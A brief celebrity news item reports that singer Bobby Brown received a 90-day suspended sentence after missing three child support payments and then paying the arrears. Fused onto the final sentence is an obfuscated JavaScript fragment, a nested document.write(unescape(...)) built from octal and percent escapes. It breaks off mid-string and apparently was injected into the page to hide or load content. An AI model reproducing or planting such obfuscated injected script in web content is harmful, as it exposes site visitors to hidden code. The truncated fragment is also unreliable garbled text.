Bobby Brown fined

A judge has made it clear to Bobby Brown that paying child support is not his prerogative--i.e., he can't just do what he wants to do.

The courtroom-frequenting R&B singer was hit with a 90-day suspended prison sentence Tuesday after he flaked on three consecutive court-ordered support payments.

Initially, Norfolk County Family Court Judge Paula Carey was ready to pack Brown off to the big house for contempt of court, but the sentence was immediately suspended because Brown came up with the dough for the back payments on Monday, a court official said.

Brown's Tuesday court appearance was scheduled in order to ensure that he was making good on his promise to pay ex-girlfriend Kim Ward, the mother of two of his children, approximately $5,000 a month in support.

Apparently, Brown rapidly remembered the payments. If he forgets again, he may have to serve the suspended sentence.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;